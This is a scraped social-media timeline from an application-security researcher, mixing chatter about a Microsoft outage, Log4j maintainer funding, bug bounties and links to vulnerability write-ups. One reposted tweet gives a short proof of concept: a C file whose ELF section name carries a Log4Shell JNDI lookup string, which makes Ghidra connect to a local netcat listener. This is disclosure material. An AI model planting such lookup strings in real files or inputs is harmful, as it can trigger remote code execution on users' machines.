Siva Siva

App Sec @doordash former @okta @thezdi @TrendMicroRSRCH

[Siva Siva @zebasquared]

uhmm what's going on at @Microsoft, their login experience has been broken for over 24 hours now. The comms team seems to have declared victory and moved on? Am I overreacting, or is this unusually long? I don’t recall problems like this dragging on in the past.

[Microsoft 365 Status @MSFT365Status]

We’ve confirmed service health has returned to normal and reporting users that have completed the additional steps are able to access Outlook and Hotmail. For the list of mitigation steps and more information, please review the attached screenshot or visit
https://t.co/pYdahqxDv3 > Microsoft consumer products > https://t.co/GURUiPKrYH.

[Siva Siva @zebasquared]

@MSFT365Status please check again, you're still down

[Siva Siva @zebasquared]

@thezdi @abdhariri Woah! Congrats Abdul!

[Siva Siva @zebasquared]

@thezdi @rskvp93 @_q5ca @hoangnx99 @vcslab Nice! Looking forward to a writeup of this one :)

[Thracky @thracky]

Who knew if an attacker can modify your app configs that it could lead to bad things? ¯\_(ツ)_/¯

[Alvaro Muñoz @pwntester]

If developers dont know that untrustred data should not be passed to a JNDI lookup op then WE (the security community) have failed them. Its not THEIR fault

[Filippo Valsorda @filippo.abyssdomain.expert @FiloSottile]

This is the maintainer who fixed the vulnerability that's causing millions(++?) of dollars of damage.

"I work on Log4j in my spare time"
"always dreamed of working on open source full time"
"3 sponsors are funding @rgoers's work: Michael, Glenn, Matt"

People, what are we doing.

[Zhuowei Zhang @zhuowei]

Ghidra's vulnerable to log4j:
__attribute__((__section__(".note.${jndi:ldap://127.0.0.1:1234/abc}")))
int a = 1;
int main(){}
$ gcc hello.c
$ nc -l 1234
Load into Ghidra; it connects to 127.0.0.1:1234.
Ghidra 10.0.2, macOS OpenJDK Corretto 11.0.4.11.1
https://t.co/Qu1psCjtY6

[Siva Siva @zebasquared]

@pyn3rd Woah I didn’t realize that this finding was from your team. Great finding!

[ronka @epsilan]

#OBTS was just surreal. many thanks to everyone for the warm reception, you can find my slides detailing the story behind 5 app/macro sandbox escapes stemming from one root cause here: https://t.co/DXktTvGrp0

[Matthias Kaiser @matthias_kaiser]

Checkout @pyn3rd's awesome work on JDBC attacks from HITB: https://t.co/GTNPlkWijU

[ronka @epsilan]

honoured to speak alongside so many brilliant folks at #OBTS v4 https://t.co/l1yWl14UmL see y'all in Maui!! 🏖️🌴

[bugcrowd @Bugcrowd]

Are you an IDA Pro or Ghidra wizard 🧙‍♂️ Put your reverse engineering & binary exploitation skills to the test on new @okta binaries during our #oktabash2021 ⭐

Apply below ⬇️
https://t.co/KhBYCdGL3H

#bugbounty #bugbountytips

[Siva Siva @zebasquared]

@thracky Oh damn! RIP 😅

[Siva Siva @zebasquared]

@thracky 🤦 are you allowed to disclose the product?

[Qualys @qualys]

Qualys Research Team discovered 21 severe vulnerabilities in Exim, the mail transfer agent (MTA) responsible for 60% of internet mail traffic. #21Nails could allow a remote attacker to gain full root privileges on the target server & execute commands. https://t.co/OhaT7stBPQ

[Janggggg @testanull]

I just published Microsoft Exchange From Deserialization to Post-Auth RCE (CVE-2021–28482) https://t.co/oV0Q8ICsYg

[ronka @epsilan]

wrote a little write-up about my first MS bug: CVE-2021-26413 https://t.co/TiI6CS5can big h/t to @mattifestation for sharing his endless knowledge!

[Lei Cao @iamelli0t]

[New Blog] Exploiting Windows RPC to bypass CFG mitigation: analysis of CVE-2021-26411 in-the-wild sample
https://t.co/mmM0B9BzN3

[TrendAI Zero Day Initiative @thezdi]

Looking for an unauthenticated RCE in #BIND? How about one that's been around for 15 years? An anonymous researcher submitted just that to ZDI, and @_wmliang_ has a full analysis of this now patched bug. Read the details then patch. https://t.co/gJxFAQL0gO